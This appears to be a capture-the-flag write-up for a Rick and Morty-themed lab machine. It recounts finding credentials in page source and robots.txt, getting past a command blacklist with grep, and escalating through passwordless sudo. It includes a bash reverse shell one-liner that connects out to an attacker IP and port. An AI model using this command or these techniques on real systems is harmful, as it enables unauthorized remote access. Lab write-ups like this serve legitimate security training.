We got 2 ports up , 22 and 80
Opening up port 80 from the browser, and reading the source code I get :
We have a username : R1ckRul3s , and viewing the robots.txt
file I get something (a weird string) : Wubbalubbadubdub
I assume that might be the password of the username or a path, but nope it's obviously not a path since it's giving 404 Not Found error.
I now perform a directory search , to look for any file/folder that is available.
We get login.php
, and that's look valid:)
I use the username and password(I guess) that we found earlier , from comment and robots.txt to login:
I was able to Run commands after loggin in , as shown below!
Except trying to read a file using cat
I was receiving a weird GIF , that insulted my skills:
Basically it has some commands that are blacklisted , but we can still read the files, I hope!
Using grep . <filename>
I was able to read the files.
I now grab my revshell , I first check if nc
or netcat
is in the system , and luckily it is in the system:
but despite it being there it doesn't actually seem to execute / work.
with bash -c "bash -i &>/dev/tcp/<ip>/<port> <&1"
I was able to get a reverse shell and the second ingredient was in /home/rick
and the third ingredient was in /root/
Running sudo -l
I was able to see that I have permission to run as sudo in the whole system without having to enter a password: